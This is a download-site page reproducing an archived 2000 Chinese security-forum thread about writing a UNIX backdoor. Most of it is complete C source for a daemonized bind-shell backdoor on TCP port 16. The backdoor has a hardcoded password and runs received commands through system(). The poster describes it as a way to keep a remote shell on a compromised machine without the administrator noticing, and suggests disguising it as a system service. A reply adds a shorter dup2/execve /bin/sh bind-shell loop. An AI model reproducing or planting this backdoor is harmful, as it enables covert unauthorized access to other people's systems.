⭐ 欢迎来到虫虫下载站！ | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站
📤 上传资源

📄 442.htm

📁 unix高级编程原吗
💻 HTM
字号:
🔍 
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>CTerm非常精华下载</title>
</head>
<body bgcolor="#FFFFFF">
<table border="0" width="100%" cellspacing="0" cellpadding="0" height="577">
<tr><td width="32%" rowspan="3" height="123"><img src="DDl_back.jpg" width="300" height="129" alt="DDl_back.jpg"></td><td width="30%" background="DDl_back2.jpg" height="35"><p align="center"><a href="http://apue.dhs.org"><font face="黑体"><big><big>apue</big></big></font></a></td></tr>
<tr>
<td width="68%" background="DDl_back2.jpg" height="44"><big><big><font face="黑体"><p align="center">               ● UNIX网络编程                       (BM: clown)                </font></big></big></td></tr>
<tr>
<td width="68%" height="44" bgcolor="#000000"><font face="黑体"><big><big><p   align="center"></big></big><a href="http://cterm.163.net"><img src="banner.gif" width="400" height="60" alt="banner.gif"border="0"></a></font></td>
</tr>
<tr><td width="100%" colspan="2" height="100" align="center" valign="top"><br><p align="center">[<a href="index.htm">回到开始</a>][<a href="318.htm">上一层</a>][<a href="443.htm">下一篇</a>]
<hr><p align="left"><small>---------------------------------------------------------------------------- <br>

---- <br>

 傻傻 于 00-6-16 10:22:41 加贴在 绿盟科技论坛(bbs.nsfocus.com)--UNIX系统安全 <br>

： <br>

看了blackfire的程序,不禁想起了前一段时间编的类似的小程序,现在拿出来想和诸位探 <br>

讨探讨. <br>

#include <sys/types.h> <br>

#include <sys/socket.h> <br>

#include <signal.h> <br>

#include <errno.h> <br>

#include <fcntl.h> <br>

#include <sys/param.h> <br>

//#include <sys/ioctl.h> <br>

//#include <sys/errno.h> <br>

//#include <sys/time.h> <br>

//#include <sys/file.h> <br>

#include <ctype.h> <br>

#include <arpa/inet.h> <br>

#include <sys/wait.h> <br>

//#include <fnmatch.h> <br>

#include <string.h> <br>

void daemon_init( const char *pstrIdent, int nFacility ); <br>

void SockInit(void); <br>



void shell(int SockToClient); <br>

void reaper(int sig); <br>

int SockListen; <br>

main(int argc,char * argv[]) <br>

{ <br>

int SockToClient,length,n; <br>

struct sockaddr_in ClientSock; <br>

daemon_init(argv[0],0); <br>

/* <br>

if(fork()) <br>

          exit(0); <br>

        for (n = 0; n<10; n++) <br>

          close(n); <br>

        open("/dev/null", O_RDONLY); <br>

        dup2(0,1); <br>

        dup2(0,2); <br>

        if((n=open("/dev/tty",O_RDWR)) > 0) { <br>

          ioctl(n, TIOCNOTTY, 0) ; <br>

          close(n); <br>

        } <br>

*/ <br>

SockInit(); <br>

SockInit(); <br>

signal(SIGCHLD,reaper); <br>

for( ; ; ){ <br>

    SockToClient=accept(SockListen,(struct sockaddr *)&ClientSock,&length); <br>

    if(fork()==0) <br>

    { <br>

       close(SockListen); <br>

       shell(SockToClient); <br>

     } <br>

    close(SockToClient); <br>

  } <br>

} <br>

void daemon_init( const char *pstrIdent, int nFacility ) <br>

{ <br>

    //extern int daemon_proc ; <br>

        int    i ; <br>

    //daemon_proc = 1 ; <br>

    for( i=0; i< NOFILE; i++ ) <br>

        close( i ) ; <br>

    if( fork() != 0 ) { <br>

               exit( 0 ) ;/*paraent process exit */ <br>

        } <br>

    setsid() ;    /*become session leader */ <br>



    signal( SIGHUP, SIG_IGN ) ; <br>

    if( fork() != 0 ) { <br>

        exit( 0 ) ;/* the first process exit */ <br>

    } <br>

    chdir( "/" ) ; <br>

    umask( 0 ) ; <br>

} <br>

void SockInit(void) <br>

{ <br>

int val,length; <br>

struct sockaddr_in SockName; <br>

SockListen=socket(AF_INET,SOCK_STREAM,0); <br>

if(SockListen<0) <br>

{close(SockListen); <br>

  perror("opening sosket"); <br>

  exit(1); <br>

} <br>

val = 1 ; <br>

if(setsockopt(SockListen, SOL_SOCKET, SO_REUSEADDR, &val, sizeof(val)) == -1 <br>

) <br>

{ <br>

  perror( "setsockopt error\n" ) ; <br>



  exit(2) ; <br>

} <br>

SockName.sin_family=AF_INET; <br>

SockName.sin_addr.s_addr=INADDR_ANY; <br>

SockName.sin_port=htons(atoi("16")); <br>

if(bind(SockListen,(struct sockaddr *)&SockName,sizeof(SockName))<0) <br>

{close(SockListen); <br>

  perror("binding sock error!"); <br>

  exit(1); <br>

} <br>

/* <br>

length=sizeof(sname); <br>

if(getsockname(SockListen,(struct sockaddr *)&sname,&length)<0) <br>

{perror("get sock name"); <br>

  exit(1); <br>

  } <br>

#ifdef PRINT <br>

printf("sock port:%d\n",ntohs(sname.sin_port)); <br>

#endif <br>

*/ <br>

listen(SockListen,2); <br>

} <br>

} <br>

void shell(int SockToClient) <br>

{ <br>

char buf[255]; <br>

char buff[6555]; <br>

char * p; <br>

close(1); <br>

dup(SockToClient); <br>

for( ; ; ) <br>

{ <br>

   memset(buf,0,sizeof(buf)); <br>

   read(SockToClient,buf,sizeof(buf)); <br>

   if((p=strchr(buf,''\n''))==NULL) <br>

    {//printf("ok\n"); <br>

     strcat(buff,buf); <br>

    } <br>

   else { <br>

          *(p-1)=''\0''; <br>

          strcat(buff,buf); <br>

          printf("pass %s\n",buff); <br>

          if(strcmp(buff,"12434567")==0) <br>

            break; <br>

          memset(buff,0,sizeof(buff)); <br>



         } <br>

} <br>

memset(buff,0,sizeof(buff)); <br>

for( ; ; ) <br>

{ <br>

   memset(buf,0,sizeof(buf)); <br>

   read(SockToClient,buf,sizeof(buf)); <br>

   //printf("frag =%s,len =%d ",buf,strlen(buf)); <br>

   if((p=strchr(buf,''\n''))==NULL) <br>

    {//printf("ok\n"); <br>

     strcat(buff,buf); <br>

    } <br>

   else { <br>

          *(p-1)=''\0''; <br>

          strcat(buff,buf); <br>

          //printf("frag =%s,len =\n",buf,strlen(buf)); <br>

          printf("com:%s\n",buff); <br>

          if(strcmp(buff,"exit")==0) <br>

            exit(0); <br>

          if((p=strstr(buff,"cd "))!=NULL) <br>

           { <br>

             p+=3; <br>



             printf("path %s\n",p); <br>

             chdir(p); <br>

           } <br>

          else <br>

            {write(SockToClient,">\n",strlen(">\n")); <br>

             system(buff); <br>

            } <br>

          memset(buff,0,sizeof(buff)); <br>

         } <br>

} <br>

} <br>

void reaper(int sig) <br>

{ <br>

  int pid; <br>

  int status; <br>

  while((pid=waitpid(-1,&status,WNOHANG))>0) <br>

  ; <br>

  return; <br>

} <br>

这个程序是我从以前编的一个程序中改过来的,所以大家看了一些注释掉的信息不要奇怪 <br>

.本来想研究一下后门程序,后来觉得直接在被攻击机器中加入远程shell最方便,我想这 <br>

也是blackfire所考虑的吧.后来又一想如果直接修改inetd.conf文件容易引起管理员注 <br>



意,就想自己编一个远程shell的守护进程,于是就有了上面的小程序.该程序可以随便扩 <br>

展,比如加上口令,伪装成另外的系统守护进程例如time服务,加上控制原语等等只要有相 <br>

应的控制权限,想干什么就干什么... <br>

敬请各位大哥不吝赐教. <br>

---------------------------------------------------------------------------- <br>

---- <br>

 cloudsky 于 00-6-16 11:37:17 加贴在 绿盟科技论坛(bbs.nsfocus.com)--UNIX系统 <br>

安全： <br>

你用到了system，我觉得如果都用到这个了，干脆修改成标准的。 <br>

自己处理shell应该没有太大好处。可能你有自己的什么考虑，我没 <br>

能看出来，讨论讨论而已。 <br>

            while ( 1 ) <br>

            { <br>

                c = accept( s, 0, 0 ); <br>

                if ( fork() == 0 ) <br>

                { <br>

                    dup2( c, 0 ); <br>

                    dup2( c, 1 ); <br>

                    dup2( c, 2 ); <br>

                    close( s ); <br>

                    name[0] = "/bin/sh"; <br>

                    name[1] = 0; <br>



                    execve( name[0], name, 0 ); <br>

                } <br>

                close( c ); <br>

            } <br>

---------------------------------------------------------------------------- <br>

---- <br>

 傻傻 于 00-6-16 17:25:44 加贴在 绿盟科技论坛(bbs.nsfocus.com)--UNIX系统安全 <br>

： <br>

因为在文章中我已经谈到可以通过一些增加控制原语对守护进程进行控制,所以客户端发 <br>

来的命令数据按照我的观点最好通过守护进程来执行,而不是直接交给shell. <br>

---------------------------------------------------------------------------- <br>

---- <br>

 cloudsky 于 00-6-16 18:33:36 加贴在 绿盟科技论坛(bbs.nsfocus.com)--UNIX系统 <br>

安全： <br>

不直接交给shell有什么特别的好处么，加点口令判断，只允许自己使用这个后门？ <br>

看来操作系统学得蛮多，控制原语都上来了，sigh <br>

虽然不是很理解你到底要干什么，还是祝你好运。 <br>

</small><hr>
<p align="center">[<a href="index.htm">回到开始</a>][<a href="318.htm">上一层</a>][<a href="443.htm">下一篇</a>]
<p align="center"><a href="http://cterm.163.net">欢迎访问Cterm主页</a></p>
</table>
</body>
</html>

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -